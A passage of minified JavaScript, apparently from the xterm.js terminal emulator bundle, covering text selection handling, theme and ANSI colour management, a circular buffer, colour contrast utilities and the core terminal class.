d.isMac?e.altKey&&this._optionsService.rawOptions.macOptionClickForcesSelection:e.shiftKey}handleMouseDown(e){if(this._mouseDownTimeStamp=e.timeStamp,(2!==e.button||!this.hasSelection)&&0===e.button){if(!this._enabled){if(!this.shouldForceSelection(e))return;e.stopPropagation()}e.preventDefault(),this._dragScrollAmount=0,this._enabled&&e.shiftKey?this._handleIncrementalClick(e):1===e.detail?this._handleSingleClick(e):2===e.detail?this._handleDoubleClick(e):3===e.detail&&this._handleTripleClick(e),this._addMouseDownListeners(),this.refresh(!0)}}_addMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.addEventListener("mousemove",this._mouseMoveListener),this._screenElement.ownerDocument.addEventListener("mouseup",this._mouseUpListener)),this._dragScrollIntervalTimer=this._coreBrowserService.window.setInterval((()=>this._dragScroll()),50)}_removeMouseDownListeners(){this._screenElement.ownerDocument&&(this._screenElement.ownerDocument.removeEventListener("mousemove",this._mouseMoveListener),this._screenElement.ownerDocument.removeEventListener("mouseup",this._mouseUpListener)),this._coreBrowserService.window.clearInterval(this._dragScrollIntervalTimer),this._dragScrollIntervalTimer=void 0}_handleIncrementalClick(e){this._model.selectionStart&&(this._model.selectionEnd=this._getMouseBufferCoords(e))}_handleSingleClick(e){if(this._model.selectionStartLength=0,this._model.isSelectAllActive=!1,this._activeSelectionMode=this.shouldColumnSelect(e)?3:0,this._model.selectionStart=this._getMouseBufferCoords(e),!this._model.selectionStart)return;this._model.selectionEnd=void 0;const t=this._bufferService.buffer.lines.get(this._model.selectionStart[1]);t&&t.length!==this._model.selectionStart[0]&&0===t.hasWidth(this._model.selectionStart[0])&&this._model.selectionStart[0]++}_handleDoubleClick(e){this._selectWordAtCursor(e,!0)&&(this._activeSelectionMode=1)}_handleTripleClick(e){const t=this._getMouseBufferCoords(e);t&&(this._activeSelectionMode=2,this._selectLineAt(t[1]))}shouldColumnSelect(e){return e.altKey&&!(d.isMac&&this._optionsService.rawOptions.macOptionClickForcesSelection)}_handleMouseMove(e){if(e.stopImmediatePropagation(),!this._model.selectionStart)return;const t=this._model.selectionEnd?[this._model.selectionEnd[0],this._model.selectionEnd[1]]:null;if(this._model.selectionEnd=this._getMouseBufferCoords(e),!this._model.selectionEnd)return void this.refresh(!0);2===this._activeSelectionMode?this._model.selectionEnd[1]<this._model.selectionStart[1]?this._model.selectionEnd[0]=0:this._model.selectionEnd[0]=this._bufferService.cols:1===this._activeSelectionMode&&this._selectToWordAt(this._model.selectionEnd),this._dragScrollAmount=this._getMouseEventScrollAmount(e),3!==this._activeSelectionMode&&(this._dragScrollAmount>0?this._model.selectionEnd[0]=this._bufferService.cols:this._dragScrollAmount<0&&(this._model.selectionEnd[0]=0));const i=this._bufferService.buffer;if(this._model.selectionEnd[1]<i.lines.length){const e=i.lines.get(this._model.selectionEnd[1]);e&&0===e.hasWidth(this._model.selectionEnd[0])&&this._model.selectionEnd[0]++}t&&t[0]===this._model.selectionEnd[0]&&t[1]===this._model.selectionEnd[1]||this.refresh(!0)}_dragScroll(){if(this._model.selectionEnd&&this._model.selectionStart&&this._dragScrollAmount){this._onRequestScrollLines.fire({amount:this._dragScrollAmount,suppressScrollEvent:!1});const e=this._bufferService.buffer;this._dragScrollAmount>0?(3!==this._activeSelectionMode&&(this._model.selectionEnd[0]=this._bufferService.cols),this._model.selectionEnd[1]=Math.min(e.ydisp+this._bufferService.rows,e.lines.length-1)):(3!==this._activeSelectionMode&&(this._model.selectionEnd[0]=0),this._model.selectionEnd[1]=e.ydisp),this.refresh()}}_handleMouseUp(e){const t=e.timeStamp-this._mouseDownTimeStamp;if(this._removeMouseDownListeners(),this.selectionText.length<=1&&t<500&&e.altKey&&this._optionsService.rawOptions.altClickMovesCursor){if(this._bufferService.buffer.ybase===this._bufferService.buffer.ydisp){const t=this._mouseService.getCoords(e,this._element,this._bufferService.cols,this._bufferService.rows,!1);if(t&&void 0!==t[0]&&void 0!==t[1]){const e=(0,o.moveToCellSequence)(t[0]-1,t[1]-1,this._bufferService,this._coreService.decPrivateModes.applicationCursorKeys);this._coreService.triggerDataEvent(e,!0)}}}else this._fireEventIfSelectionChanged()}_fireEventIfSelectionChanged(){const e=this._model.finalSelectionStart,t=this._model.finalSelectionEnd,i=!(!e||!t||e[0]===t[0]&&e[1]===t[1]);i?e&&t&&(this._oldSelectionStart&&this._oldSelectionEnd&&e[0]===this._oldSelectionStart[0]&&e[1]===this._oldSelectionStart[1]&&t[0]===this._oldSelectionEnd[0]&&t[1]===this._oldSelectionEnd[1]||this._fireOnSelectionChange(e,t,i)):this._oldHasSelection&&this._fireOnSelectionChange(e,t,i)}_fireOnSelectionChange(e,t,i){this._oldSelectionStart=e,this._oldSelectionEnd=t,this._oldHasSelection=i,this._onSelectionChange.fire()}_handleBufferActivate(e){this.clearSelection(),this._trimListener.dispose(),this._trimListener=e.activeBuffer.lines.onTrim((e=>this._handleTrim(e)))}_convertViewportColToCharacterIndex(e,t){let i=t;for(let s=0;t>=s;s++){const r=e.loadCell(s,this._workCell).getChars().length;0===this._workCell.getWidth()?i--:r>1&&t!==s&&(i+=r-1)}return i}setSelection(e,t,i){this._model.clearSelection(),this._removeMouseDownListeners(),this._model.selectionStart=[e,t],this._model.selectionStartLength=i,this.refresh(),this._fireEventIfSelectionChanged()}rightClickSelect(e){this._isClickInSelection(e)||(this._selectWordAtCursor(e,!1)&&this.refresh(!0),this._fireEventIfSelectionChanged())}_getWordAt(e,t,i=!0,s=!0){if(e[0]>=this._bufferService.cols)return;const r=this._bufferService.buffer,n=r.lines.get(e[1]);if(!n)return;const o=r.translateBufferLineToString(e[1],!1);let a=this._convertViewportColToCharacterIndex(n,e[0]),h=a;const c=e[0]-a;let l=0,d=0,u=0,_=0;if(" "===o.charAt(a)){for(;a>0&&" "===o.charAt(a-1);)a--;for(;h<o.length&&" "===o.charAt(h+1);)h++}else{let t=e[0],i=e[0];0===n.getWidth(t)&&(l++,t--),2===n.getWidth(i)&&(d++,i++);const s=n.getString(i).length;for(s>1&&(_+=s-1,h+=s-1);t>0&&a>0&&!this._isCharWordSeparator(n.loadCell(t-1,this._workCell));){n.loadCell(t-1,this._workCell);const e=this._workCell.getChars().length;0===this._workCell.getWidth()?(l++,t--):e>1&&(u+=e-1,a-=e-1),a--,t--}for(;i<n.length&&h+1<o.length&&!this._isCharWordSeparator(n.loadCell(i+1,this._workCell));){n.loadCell(i+1,this._workCell);const e=this._workCell.getChars().length;2===this._workCell.getWidth()?(d++,i++):e>1&&(_+=e-1,h+=e-1),h++,i++}}h++;let f=a+c-l+u,v=Math.min(this._bufferService.cols,h-a+l+d-u-_);if(t||""!==o.slice(a,h).trim()){if(i&&0===f&&32!==n.getCodePoint(0)){const t=r.lines.get(e[1]-1);if(t&&n.isWrapped&&32!==t.getCodePoint(this._bufferService.cols-1)){const t=this._getWordAt([this._bufferService.cols-1,e[1]-1],!1,!0,!1);if(t){const e=this._bufferService.cols-t.start;f-=e,v+=e}}}if(s&&f+v===this._bufferService.cols&&32!==n.getCodePoint(this._bufferService.cols-1)){const t=r.lines.get(e[1]+1);if((null==t?void 0:t.isWrapped)&&32!==t.getCodePoint(0)){const t=this._getWordAt([0,e[1]+1],!1,!1,!0);t&&(v+=t.length)}}return{start:f,length:v}}}_selectWordAt(e,t){const i=this._getWordAt(e,t);if(i){for(;i.start<0;)i.start+=this._bufferService.cols,e[1]--;this._model.selectionStart=[i.start,e[1]],this._model.selectionStartLength=i.length}}_selectToWordAt(e){const t=this._getWordAt(e,!0);if(t){let i=e[1];for(;t.start<0;)t.start+=this._bufferService.cols,i--;if(!this._model.areSelectionValuesReversed())for(;t.start+t.length>this._bufferService.cols;)t.length-=this._bufferService.cols,i++;this._model.selectionEnd=[this._model.areSelectionValuesReversed()?t.start:t.start+t.length,i]}}_isCharWordSeparator(e){return 0!==e.getWidth()&&this._optionsService.rawOptions.wordSeparator.indexOf(e.getChars())>=0}_selectLineAt(e){const t=this._bufferService.buffer.getWrappedRangeForLine(e),i={start:{x:0,y:t.first},end:{x:this._bufferService.cols-1,y:t.last}};this._model.selectionStart=[0,t.first],this._model.selectionEnd=void 0,this._model.selectionStartLength=(0,u.getRangeLength)(i,this._bufferService.cols)}};t.SelectionService=g=s([r(3,f.IBufferService),r(4,f.ICoreService),r(5,h.IMouseService),r(6,f.IOptionsService),r(7,h.IRenderService),r(8,h.ICoreBrowserService)],g)},4725:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.IThemeService=t.ICharacterJoinerService=t.ISelectionService=t.IRenderService=t.IMouseService=t.ICoreBrowserService=t.ICharSizeService=void 0;const s=i(8343);t.ICharSizeService=(0,s.createDecorator)("CharSizeService"),t.ICoreBrowserService=(0,s.createDecorator)("CoreBrowserService"),t.IMouseService=(0,s.createDecorator)("MouseService"),t.IRenderService=(0,s.createDecorator)("RenderService"),t.ISelectionService=(0,s.createDecorator)("SelectionService"),t.ICharacterJoinerService=(0,s.createDecorator)("CharacterJoinerService"),t.IThemeService=(0,s.createDecorator)("ThemeService")},6731:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.ThemeService=t.DEFAULT_ANSI_COLORS=void 0;const n=i(7239),o=i(8055),a=i(8460),h=i(844),c=i(2585),l=o.css.toColor("#ffffff"),d=o.css.toColor("#000000"),u=o.css.toColor("#ffffff"),_=o.css.toColor("#000000"),f={css:"rgba(255, 255, 255, 0.3)",rgba:4294967117};t.DEFAULT_ANSI_COLORS=Object.freeze((()=>{const e=[o.css.toColor("#2e3436"),o.css.toColor("#cc0000"),o.css.toColor("#4e9a06"),o.css.toColor("#c4a000"),o.css.toColor("#3465a4"),o.css.toColor("#75507b"),o.css.toColor("#06989a"),o.css.toColor("#d3d7cf"),o.css.toColor("#555753"),o.css.toColor("#ef2929"),o.css.toColor("#8ae234"),o.css.toColor("#fce94f"),o.css.toColor("#729fcf"),o.css.toColor("#ad7fa8"),o.css.toColor("#34e2e2"),o.css.toColor("#eeeeec")],t=[0,95,135,175,215,255];for(let i=0;i<216;i++){const s=t[i/36%6|0],r=t[i/6%6|0],n=t[i%6];e.push({css:o.channels.toCss(s,r,n),rgba:o.channels.toRgba(s,r,n)})}for(let t=0;t<24;t++){const i=8+10*t;e.push({css:o.channels.toCss(i,i,i),rgba:o.channels.toRgba(i,i,i)})}return e})());let v=t.ThemeService=class extends h.Disposable{get colors(){return this._colors}constructor(e){super(),this._optionsService=e,this._contrastCache=new n.ColorContrastCache,this._halfContrastCache=new n.ColorContrastCache,this._onChangeColors=this.register(new a.EventEmitter),this.onChangeColors=this._onChangeColors.event,this._colors={foreground:l,background:d,cursor:u,cursorAccent:_,selectionForeground:void 0,selectionBackgroundTransparent:f,selectionBackgroundOpaque:o.color.blend(d,f),selectionInactiveBackgroundTransparent:f,selectionInactiveBackgroundOpaque:o.color.blend(d,f),ansi:t.DEFAULT_ANSI_COLORS.slice(),contrastCache:this._contrastCache,halfContrastCache:this._halfContrastCache},this._updateRestoreColors(),this._setTheme(this._optionsService.rawOptions.theme),this.register(this._optionsService.onSpecificOptionChange("minimumContrastRatio",(()=>this._contrastCache.clear()))),this.register(this._optionsService.onSpecificOptionChange("theme",(()=>this._setTheme(this._optionsService.rawOptions.theme))))}_setTheme(e={}){const i=this._colors;if(i.foreground=p(e.foreground,l),i.background=p(e.background,d),i.cursor=p(e.cursor,u),i.cursorAccent=p(e.cursorAccent,_),i.selectionBackgroundTransparent=p(e.selectionBackground,f),i.selectionBackgroundOpaque=o.color.blend(i.background,i.selectionBackgroundTransparent),i.selectionInactiveBackgroundTransparent=p(e.selectionInactiveBackground,i.selectionBackgroundTransparent),i.selectionInactiveBackgroundOpaque=o.color.blend(i.background,i.selectionInactiveBackgroundTransparent),i.selectionForeground=e.selectionForeground?p(e.selectionForeground,o.NULL_COLOR):void 0,i.selectionForeground===o.NULL_COLOR&&(i.selectionForeground=void 0),o.color.isOpaque(i.selectionBackgroundTransparent)){const e=.3;i.selectionBackgroundTransparent=o.color.opacity(i.selectionBackgroundTransparent,e)}if(o.color.isOpaque(i.selectionInactiveBackgroundTransparent)){const e=.3;i.selectionInactiveBackgroundTransparent=o.color.opacity(i.selectionInactiveBackgroundTransparent,e)}if(i.ansi=t.DEFAULT_ANSI_COLORS.slice(),i.ansi[0]=p(e.black,t.DEFAULT_ANSI_COLORS[0]),i.ansi[1]=p(e.red,t.DEFAULT_ANSI_COLORS[1]),i.ansi[2]=p(e.green,t.DEFAULT_ANSI_COLORS[2]),i.ansi[3]=p(e.yellow,t.DEFAULT_ANSI_COLORS[3]),i.ansi[4]=p(e.blue,t.DEFAULT_ANSI_COLORS[4]),i.ansi[5]=p(e.magenta,t.DEFAULT_ANSI_COLORS[5]),i.ansi[6]=p(e.cyan,t.DEFAULT_ANSI_COLORS[6]),i.ansi[7]=p(e.white,t.DEFAULT_ANSI_COLORS[7]),i.ansi[8]=p(e.brightBlack,t.DEFAULT_ANSI_COLORS[8]),i.ansi[9]=p(e.brightRed,t.DEFAULT_ANSI_COLORS[9]),i.ansi[10]=p(e.brightGreen,t.DEFAULT_ANSI_COLORS[10]),i.ansi[11]=p(e.brightYellow,t.DEFAULT_ANSI_COLORS[11]),i.ansi[12]=p(e.brightBlue,t.DEFAULT_ANSI_COLORS[12]),i.ansi[13]=p(e.brightMagenta,t.DEFAULT_ANSI_COLORS[13]),i.ansi[14]=p(e.brightCyan,t.DEFAULT_ANSI_COLORS[14]),i.ansi[15]=p(e.brightWhite,t.DEFAULT_ANSI_COLORS[15]),e.extendedAnsi){const s=Math.min(i.ansi.length-16,e.extendedAnsi.length);for(let r=0;r<s;r++)i.ansi[r+16]=p(e.extendedAnsi[r],t.DEFAULT_ANSI_COLORS[r+16])}this._contrastCache.clear(),this._halfContrastCache.clear(),this._updateRestoreColors(),this._onChangeColors.fire(this.colors)}restoreColor(e){this._restoreColor(e),this._onChangeColors.fire(this.colors)}_restoreColor(e){if(void 0!==e)switch(e){case 256:this._colors.foreground=this._restoreColors.foreground;break;case 257:this._colors.background=this._restoreColors.background;break;case 258:this._colors.cursor=this._restoreColors.cursor;break;default:this._colors.ansi[e]=this._restoreColors.ansi[e]}else for(let e=0;e<this._restoreColors.ansi.length;++e)this._colors.ansi[e]=this._restoreColors.ansi[e]}modifyColors(e){e(this._colors),this._onChangeColors.fire(this.colors)}_updateRestoreColors(){this._restoreColors={foreground:this._colors.foreground,background:this._colors.background,cursor:this._colors.cursor,ansi:this._colors.ansi.slice()}}};function p(e,t){if(void 0!==e)try{return o.css.toColor(e)}catch(e){}return t}t.ThemeService=v=s([r(0,c.IOptionsService)],v)},6349:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CircularList=void 0;const s=i(8460),r=i(844);class n extends r.Disposable{constructor(e){super(),this._maxLength=e,this.onDeleteEmitter=this.register(new s.EventEmitter),this.onDelete=this.onDeleteEmitter.event,this.onInsertEmitter=this.register(new s.EventEmitter),this.onInsert=this.onInsertEmitter.event,this.onTrimEmitter=this.register(new s.EventEmitter),this.onTrim=this.onTrimEmitter.event,this._array=new Array(this._maxLength),this._startIndex=0,this._length=0}get maxLength(){return this._maxLength}set maxLength(e){if(this._maxLength===e)return;const t=new Array(e);for(let i=0;i<Math.min(e,this.length);i++)t[i]=this._array[this._getCyclicIndex(i)];this._array=t,this._maxLength=e,this._startIndex=0}get length(){return this._length}set length(e){if(e>this._length)for(let t=this._length;t<e;t++)this._array[t]=void 0;this._length=e}get(e){return this._array[this._getCyclicIndex(e)]}set(e,t){this._array[this._getCyclicIndex(e)]=t}push(e){this._array[this._getCyclicIndex(this._length)]=e,this._length===this._maxLength?(this._startIndex=++this._startIndex%this._maxLength,this.onTrimEmitter.fire(1)):this._length++}recycle(){if(this._length!==this._maxLength)throw new Error("Can only recycle when the buffer is full");return this._startIndex=++this._startIndex%this._maxLength,this.onTrimEmitter.fire(1),this._array[this._getCyclicIndex(this._length-1)]}get isFull(){return this._length===this._maxLength}pop(){return this._array[this._getCyclicIndex(this._length---1)]}splice(e,t,...i){if(t){for(let i=e;i<this._length-t;i++)this._array[this._getCyclicIndex(i)]=this._array[this._getCyclicIndex(i+t)];this._length-=t,this.onDeleteEmitter.fire({index:e,amount:t})}for(let t=this._length-1;t>=e;t--)this._array[this._getCyclicIndex(t+i.length)]=this._array[this._getCyclicIndex(t)];for(let t=0;t<i.length;t++)this._array[this._getCyclicIndex(e+t)]=i[t];if(i.length&&this.onInsertEmitter.fire({index:e,amount:i.length}),this._length+i.length>this._maxLength){const e=this._length+i.length-this._maxLength;this._startIndex+=e,this._length=this._maxLength,this.onTrimEmitter.fire(e)}else this._length+=i.length}trimStart(e){e>this._length&&(e=this._length),this._startIndex+=e,this._length-=e,this.onTrimEmitter.fire(e)}shiftElements(e,t,i){if(!(t<=0)){if(e<0||e>=this._length)throw new Error("start argument out of range");if(e+i<0)throw new Error("Cannot shift elements in list beyond index 0");if(i>0){for(let s=t-1;s>=0;s--)this.set(e+s+i,this.get(e+s));const s=e+t+i-this._length;if(s>0)for(this._length+=s;this._length>this._maxLength;)this._length--,this._startIndex++,this.onTrimEmitter.fire(1)}else for(let s=0;s<t;s++)this.set(e+s+i,this.get(e+s))}}_getCyclicIndex(e){return(this._startIndex+e)%this._maxLength}}t.CircularList=n},1439:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.clone=void 0,t.clone=function e(t,i=5){if("object"!=typeof t)return t;const s=Array.isArray(t)?[]:{};for(const r in t)s[r]=i<=1?t[r]:t[r]&&e(t[r],i-1);return s}},8055:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.contrastRatio=t.toPaddedHex=t.rgba=t.rgb=t.css=t.color=t.channels=t.NULL_COLOR=void 0;const s=i(6114);let r=0,n=0,o=0,a=0;var h,c,l,d,u;function _(e){const t=e.toString(16);return t.length<2?"0"+t:t}function f(e,t){return e<t?(t+.05)/(e+.05):(e+.05)/(t+.05)}t.NULL_COLOR={css:"#00000000",rgba:0},function(e){e.toCss=function(e,t,i,s){return void 0!==s?`#${_(e)}${_(t)}${_(i)}${_(s)}`:`#${_(e)}${_(t)}${_(i)}`},e.toRgba=function(e,t,i,s=255){return(e<<24|t<<16|i<<8|s)>>>0}}(h||(t.channels=h={})),function(e){function t(e,t){return a=Math.round(255*t),[r,n,o]=u.toChannels(e.rgba),{css:h.toCss(r,n,o,a),rgba:h.toRgba(r,n,o,a)}}e.blend=function(e,t){if(a=(255&t.rgba)/255,1===a)return{css:t.css,rgba:t.rgba};const i=t.rgba>>24&255,s=t.rgba>>16&255,c=t.rgba>>8&255,l=e.rgba>>24&255,d=e.rgba>>16&255,u=e.rgba>>8&255;return r=l+Math.round((i-l)*a),n=d+Math.round((s-d)*a),o=u+Math.round((c-u)*a),{css:h.toCss(r,n,o),rgba:h.toRgba(r,n,o)}},e.isOpaque=function(e){return!(255&~e.rgba)},e.ensureContrastRatio=function(e,t,i){const s=u.ensureContrastRatio(e.rgba,t.rgba,i);if(s)return u.toColor(s>>24&255,s>>16&255,s>>8&255)},e.opaque=function(e){const t=(255|e.rgba)>>>0;return[r,n,o]=u.toChannels(t),{css:h.toCss(r,n,o),rgba:t}},e.opacity=t,e.multiplyOpacity=function(e,i){return a=255&e.rgba,t(e,a*i/255)},e.toColorRGB=function(e){return[e.rgba>>24&255,e.rgba>>16&255,e.rgba>>8&255]}}(c||(t.color=c={})),function(e){let t,i;if(!s.isNode){const e=document.createElement("canvas");e.width=1,e.height=1;const s=e.getContext("2d",{willReadFrequently:!0});s&&(t=s,t.globalCompositeOperation="copy",i=t.createLinearGradient(0,0,1,1))}e.toColor=function(e){if(e.match(/#[\da-f]{3,8}/i))switch(e.length){case 4:return r=parseInt(e.slice(1,2).repeat(2),16),n=parseInt(e.slice(2,3).repeat(2),16),o=parseInt(e.slice(3,4).repeat(2),16),u.toColor(r,n,o);case 5:return r=parseInt(e.slice(1,2).repeat(2),16),n=parseInt(e.slice(2,3).repeat(2),16),o=parseInt(e.slice(3,4).repeat(2),16),a=parseInt(e.slice(4,5).repeat(2),16),u.toColor(r,n,o,a);case 7:return{css:e,rgba:(parseInt(e.slice(1),16)<<8|255)>>>0};case 9:return{css:e,rgba:parseInt(e.slice(1),16)>>>0}}const s=e.match(/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(,\s*(0|1|\d?\.(\d+))\s*)?\)/);if(s)return r=parseInt(s[1]),n=parseInt(s[2]),o=parseInt(s[3]),a=Math.round(255*(void 0===s[5]?1:parseFloat(s[5]))),u.toColor(r,n,o,a);if(!t||!i)throw new Error("css.toColor: Unsupported css format");if(t.fillStyle=i,t.fillStyle=e,"string"!=typeof t.fillStyle)throw new Error("css.toColor: Unsupported css format");if(t.fillRect(0,0,1,1),[r,n,o,a]=t.getImageData(0,0,1,1).data,255!==a)throw new Error("css.toColor: Unsupported css format");return{rgba:h.toRgba(r,n,o,a),css:e}}}(l||(t.css=l={})),function(e){function t(e,t,i){const s=e/255,r=t/255,n=i/255;return.2126*(s<=.03928?s/12.92:Math.pow((s+.055)/1.055,2.4))+.7152*(r<=.03928?r/12.92:Math.pow((r+.055)/1.055,2.4))+.0722*(n<=.03928?n/12.92:Math.pow((n+.055)/1.055,2.4))}e.relativeLuminance=function(e){return t(e>>16&255,e>>8&255,255&e)},e.relativeLuminance2=t}(d||(t.rgb=d={})),function(e){function t(e,t,i){const s=e>>24&255,r=e>>16&255,n=e>>8&255;let o=t>>24&255,a=t>>16&255,h=t>>8&255,c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));for(;c<i&&(o>0||a>0||h>0);)o-=Math.max(0,Math.ceil(.1*o)),a-=Math.max(0,Math.ceil(.1*a)),h-=Math.max(0,Math.ceil(.1*h)),c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));return(o<<24|a<<16|h<<8|255)>>>0}function i(e,t,i){const s=e>>24&255,r=e>>16&255,n=e>>8&255;let o=t>>24&255,a=t>>16&255,h=t>>8&255,c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));for(;c<i&&(o<255||a<255||h<255);)o=Math.min(255,o+Math.ceil(.1*(255-o))),a=Math.min(255,a+Math.ceil(.1*(255-a))),h=Math.min(255,h+Math.ceil(.1*(255-h))),c=f(d.relativeLuminance2(o,a,h),d.relativeLuminance2(s,r,n));return(o<<24|a<<16|h<<8|255)>>>0}e.ensureContrastRatio=function(e,s,r){const n=d.relativeLuminance(e>>8),o=d.relativeLuminance(s>>8);if(f(n,o)<r){if(o<n){const o=t(e,s,r),a=f(n,d.relativeLuminance(o>>8));if(a<r){const t=i(e,s,r);return a>f(n,d.relativeLuminance(t>>8))?o:t}return o}const a=i(e,s,r),h=f(n,d.relativeLuminance(a>>8));if(h<r){const i=t(e,s,r);return h>f(n,d.relativeLuminance(i>>8))?a:i}return a}},e.reduceLuminance=t,e.increaseLuminance=i,e.toChannels=function(e){return[e>>24&255,e>>16&255,e>>8&255,255&e]},e.toColor=function(e,t,i,s){return{css:h.toCss(e,t,i,s),rgba:h.toRgba(e,t,i,s)}}}(u||(t.rgba=u={})),t.toPaddedHex=_,t.contrastRatio=f},8969:(e,t,i)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CoreTerminal=void 0;const s=i(844),r=i(2585),n=i(4348),o=i(7866),a=i(744),h=i(7302),c=i(6975),l=i(8460),d=i(1753),u=i(1480),_=i(7994),f=i(9282),v=i(5435),p=i(5981),g=i(2660);let m=!1;class S extends s.Disposable{get onScroll(){return this._onScrollApi||(this._onScrollApi=this.register(new l.EventEmitter),this._onScroll.event((e=>{var t;null===(t=this._onScrollApi)||void 0===t||t.fire(e.position)}))),this._onScrollApi.event}get cols(){return this._bufferService.cols}get rows(){return this._bufferService.rows}get buffers(){return this._bufferService.buffers}get options(){return this.optionsService.options}set options(e){for(const t in e)this.optionsService.options[t]=e[t]}constructor(e){super(),this._windowsWrappingHeuristics=this.register(new s.MutableDisposable),this._onBinary=this.register(new l.EventEmitter),this.onBinary=this._onBinary.event,this._onData=this.register(new l.EventEmitter),this.onData=this._onData.event,this._onLineFeed=this.register(new l.EventEmitter),this.onLineFeed=this._onLineFeed.event,this._onResize=this.register(new l.EventEmitter),this.onResize=this._onResize.event,this._onWriteParsed=this.register(new l.EventEmitter),this.onWriteParsed=this._onWriteParsed.event,this._onScroll=this.register(new l.EventEmitter),this._instantiationService=new n.InstantiationService,this.optionsService=this.register(new h.OptionsService(e)),this._instantiationService.setService(r.IOptionsService,this.optionsService),this._bufferService=this.register(this._instantiationService.createInstance(a.BufferService)),this._instantiationService.setService(r.IBufferService,this._bufferService),this._logService=this.register(this._instantiationService.createInstance(o.LogService)),this._instantiationService.setService(r.ILogService,this._logService),this.coreService=this.register(this._instantiationService.createInstance(c.CoreService)),this._instantiationService.setService(r.ICoreService,this.coreService),this.coreMouseService=this.register(this._instantiationService.createInstance(d.CoreMouseService)),this._instantiationService.setService(r.ICoreMouseService,this.coreMouseService),this.unicodeService=this.register(this._instantiationService.createInstance(u.UnicodeService)),this._instantiationService.setService(r.IUnicodeService,this.unicodeService),this._charsetService=this._instantiationService.createInstance(_.CharsetService),this._instantiationService.setService(r.ICharsetService,this._charsetService),this._oscLinkService=this._instantiationService.createInstance(g.OscLinkService),this._instantiationService.setService(r.IOscLinkService,this._oscLinkService),this._inputHandler=this.register(new v.InputHandler(this._bufferService,this._charsetService,this.coreService,this._logService,this.optionsService,this._oscLinkService,this.coreMouseService,this.unicodeService)),this.register((0,l.forwardEvent)(this._inputHandler.onLineFeed,this._onLineFeed)),this.register(this._inputHandler),this.register((0,l.forwardEvent)(this._bufferService.onResize,this._onResize)),this.register((0,l.forwardEvent)(this.coreService.onData,this._onData)),this.register((0,l.forwardEvent)(this.coreService.onBinary,this._onBinary)),this.register(this.coreService.onRequestScrollToBottom((()=>this.scrollToBottom()))),this.register(this.coreService.onUserInput((()=>this._writeBuffer.handleUserInput()))),this.register(this.optionsService.onMultipleOptionChange(["windowsMode","windowsPty"],(()=>this._handleWindowsPtyOptionChange()))),this.register(this._bufferService.onScroll((e=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)}))),this.register(this._inputHandler.onScroll((e=>{this._onScroll.fire({position:this._bufferService.buffer.ydisp,source:0}),this._inputHandler.markRangeDirty(this._bufferService.buffer.scrollTop,this._bufferService.buffer.scrollBottom)}))),this._writeBuffer=this.register(new p.WriteBuffer(((e,t)=>this._inputHandler.parse(e,t)))),this.register((0,l.forwardEvent)(this._writeBuffer.onWriteParsed,this._onWriteParsed))}write(e,t){this._writeBuffer.write(e,t)}writeSync(e,t){this._logService.logLevel<=r.LogLevelEnum.WARN&&!m&&(this._logService.warn("writeSync is unreliable and will be removed soon."),m=!0),this._writeBuffer.writeSync(e,t)}resize(e,t){isNaN(e)||isNaN(t)||(e=Math.max(e,a.MINIMUM_COLS),t=Math.max(t,a.MINIMUM_ROWS),this._bufferService.resize(e,t))}scroll(e,t=!1){this._bufferService.scroll(e,t)}scrollLines(e,t,i){this._bufferService.scrollLines(e,t,i)}scrollPages(e){this.scrollLines(e*(this.rows-1))}scrollToTop(){this.scrollLines(-this._bufferService.buffer.ydisp)}scrollToBottom(){this.scrollLines(this._bufferService.buffer.ybase-this._bufferService.buffer.ydisp)}scrollToLine(e){const t=e-this._bufferService.buffer.ydisp;0!==t&&this.scrollLines(t)}registerEscHandler(e,t){return this._inputHandler.registerEscHandler(e,t)}registerDcsHandler(e,t){return this._inputHandler.registerDcsHandler(e,t)}registerCsiHandler(e,t){return this._inputHandler.registerCsiHandler(e,t)}registerOscHandler(e,t){return this._inputHandler.registerOscHandler(e,t)}_setup(){this._handleWindowsPtyOptionChange()}reset(){this._inputHandler.reset(),this._bufferService.reset(),this._charsetService.reset(),this.coreService.reset(),this.coreMouseService.reset()}_handleWindowsPtyOptionChange(){let e=!1;const t=this.optionsService.rawOptions.windowsPty;t&&void 0!==t.buildNumber&&void 0!==t.buildNumber?e=!!("conpty"===t.backend&&t.buildNumber<21376):this.optionsService.rawOptions.windowsMode&&(e=!0),e?this._enableWindowsWrappingHeuristics():this._windowsWrappingHeuristics.clear()}_enableWindowsWrappingHeuristics(){if(!this._windowsWrappingHeuristics.value){const e=[];e.push(this.onLineFeed(f.updateWindowsModeWrappedState.bind(null,this._bufferService))),e.push(this.registerCsiHandler({final:"H"},(()=>((0,f.updateWindowsModeWrappedState)(this._bufferService),!1)))),this._windowsWrappingHeuristics.value=(0,s.toDisposable)((()=>{for(const t of e)t.dispose()}))}}}t.CoreTerminal=S},8460:(e,t)=>{Object.defineProperty(t,"__esModule",{value:!0}),t.forwardEvent=t.EventEmitter=void 0,t.EventEmitter=class{constructor(){this._listeners=[],this._disposed=!1}get event(){return this._event||(this._event=e=>(this._listeners.push(e),{dispose:()=>{if(!this._disposed)for(let t=0;t<this._listeners.length;t++)if(this._listeners[t]===e)return void this._listeners.splice(t,1)}})),this._event}fire(e,t){const i=[];for(let e=0;e<this._listeners.length;e++)i.push(this._listeners[e]);for(let 